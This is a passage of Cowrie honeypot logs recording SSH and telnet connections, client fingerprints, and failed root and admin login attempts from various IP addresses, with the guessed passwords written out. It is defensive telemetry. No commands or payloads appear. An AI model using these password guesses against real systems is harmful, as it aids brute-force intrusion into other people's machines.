0-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:53.721446Z","src_ip":"23.88.42.180","session":"484a14875bd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P0lk@d0t#S3cur3$","message":"login attempt [root/P0lk@d0t#S3cur3$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:54.010944Z","src_ip":"23.88.42.180","session":"484a14875bd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:54.166947Z","src_ip":"103.153.68.219","session":"28749ed78552","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.213.198","src_port":49166,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f13f0c676dd","protocol":"ssh","message":"New connection: 162.144.213.198:49166 (10.17.0.5:22) [session: 3f13f0c676dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:54.563069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:54.566019Z","src_ip":"162.144.213.198","session":"3f13f0c676dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:54.658222Z","src_ip":"162.144.213.198","session":"3f13f0c676dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kr@k3n$M@st3r@P@ss","message":"login attempt [root/Kr@k3n$M@st3r@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:54.924932Z","src_ip":"162.144.213.198","session":"3f13f0c676dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:38:55.109359Z","src_ip":"23.88.42.180","session":"484a14875bd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.373603343963623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:39:12.212374Z","src_ip":"72.167.226.244","session":"da92d639546e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":49734,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce68b1cc466b","protocol":"telnet","message":"New connection: 72.167.226.244:49734 (10.17.0.5:23) [session: ce68b1cc466b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:39:12.347053Z"}
{"eventid":"cowrie.session.closed","duration":"19.8","message":"Connection lost after 19.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:39:14.349250Z","src_ip":"162.144.213.198","session":"3f13f0c676dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":53582,"dst_ip":"10.17.0.5","dst_port":22,"session":"92d3aecc9fe6","protocol":"ssh","message":"New connection: 91.92.40.11:53582 (10.17.0.5:22) [session: 92d3aecc9fe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:39:28.897561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:39:29.034505Z","src_ip":"91.92.40.11","session":"92d3aecc9fe6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:39:29.037556Z","src_ip":"91.92.40.11","session":"92d3aecc9fe6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome","message":"login attempt [root/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:39:29.573004Z","src_ip":"91.92.40.11","session":"92d3aecc9fe6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":44632,"dst_ip":"159.203.135.109","dst_port":23,"session":"25403a86b950","protocol":"telnet","message":"New connection: 107.6.151.170:44632 (159.203.135.109:23) [session: 25403a86b950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:39:30.599764Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:39:30.686281Z","src_ip":"91.92.40.11","session":"92d3aecc9fe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.783602714538574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:39:43.130528Z","src_ip":"72.167.226.244","session":"ce68b1cc466b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":35142,"dst_ip":"159.203.135.109","dst_port":22,"session":"23dc70679ce9","protocol":"ssh","message":"New connection: 103.27.238.116:35142 (159.203.135.109:22) [session: 23dc70679ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:40:00.075052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:40:00.077981Z","src_ip":"103.27.238.116","session":"23dc70679ce9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:40:00.348769Z","src_ip":"103.27.238.116","session":"23dc70679ce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"n12345678","message":"login attempt [root/n12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:40:01.160665Z","src_ip":"103.27.238.116","session":"23dc70679ce9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.65848970413208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:40:02.258181Z","src_ip":"107.6.151.170","session":"25403a86b950","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:40:02.433640Z","src_ip":"103.27.238.116","session":"23dc70679ce9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":30536,"dst_ip":"159.203.135.109","dst_port":22,"session":"932b75083151","protocol":"ssh","message":"New connection: 178.128.39.166:30536 (159.203.135.109:22) [session: 932b75083151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:40:11.963041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:40:12.001330Z","src_ip":"178.128.39.166","session":"932b75083151","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:40:12.102588Z","src_ip":"178.128.39.166","session":"932b75083151","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:40:12.500273Z","src_ip":"178.128.39.166","session":"932b75083151","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":34946,"dst_ip":"10.17.0.5","dst_port":22,"session":"c216d716d314","protocol":"ssh","message":"New connection: 103.27.238.120:34946 (10.17.0.5:22) [session: c216d716d314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:40:12.799872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:40:12.803807Z","src_ip":"103.27.238.120","session":"c216d716d314","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:40:13.063388Z","src_ip":"103.27.238.120","session":"c216d716d314","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:40:13.598883Z","src_ip":"178.128.39.166","session":"932b75083151","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"010884","message":"login attempt [root/010884] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:40:13.843870Z","src_ip":"103.27.238.120","session":"c216d716d314","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:40:15.106842Z","src_ip":"103.27.238.120","session":"c216d716d314","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":39940,"dst_ip":"10.17.0.5","dst_port":22,"session":"beae99703100","protocol":"ssh","message":"New connection: 91.92.40.11:39940 (10.17.0.5:22) [session: beae99703100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:40:25.811418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:40:25.829786Z","src_ip":"91.92.40.11","session":"beae99703100","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:40:25.917937Z","src_ip":"91.92.40.11","session":"beae99703100","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111111","message":"login attempt [admin/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:40:26.463835Z","src_ip":"91.92.40.11","session":"beae99703100","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:40:27.836851Z","src_ip":"91.92.40.11","session":"beae99703100","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":57664,"dst_ip":"10.17.0.5","dst_port":23,"session":"158c74ee4f9e","protocol":"telnet","message":"New connection: 72.167.226.244:57664 (10.17.0.5:23) [session: 158c74ee4f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:40:34.047189Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":57668,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ebc6ea653b7","protocol":"telnet","message":"New connection: 72.167.226.244:57668 (10.17.0.5:23) [session: 0ebc6ea653b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:40:38.023272Z"}
{"eventid":"cowrie.session.closed","duration":31.094974756240845,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:05.142060Z","src_ip":"72.167.226.244","session":"158c74ee4f9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":57230,"dst_ip":"159.203.135.109","dst_port":22,"session":"244b4d824527","protocol":"ssh","message":"New connection: 77.94.47.83:57230 (159.203.135.109:22) [session: 244b4d824527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:06.960254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:06.963553Z","src_ip":"77.94.47.83","session":"244b4d824527","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:07.072866Z","src_ip":"77.94.47.83","session":"244b4d824527","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"valkyrie","message":"login attempt [root/valkyrie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:07.400757Z","src_ip":"77.94.47.83","session":"244b4d824527","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:08.512362Z","src_ip":"77.94.47.83","session":"244b4d824527","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.153456211090088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:09.176612Z","src_ip":"72.167.226.244","session":"0ebc6ea653b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.163","src_port":56214,"dst_ip":"10.17.0.5","dst_port":22,"session":"81824e287c40","protocol":"ssh","message":"New connection: 66.132.186.163:56214 (10.17.0.5:22) [session: 81824e287c40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:41:18.092790Z"}
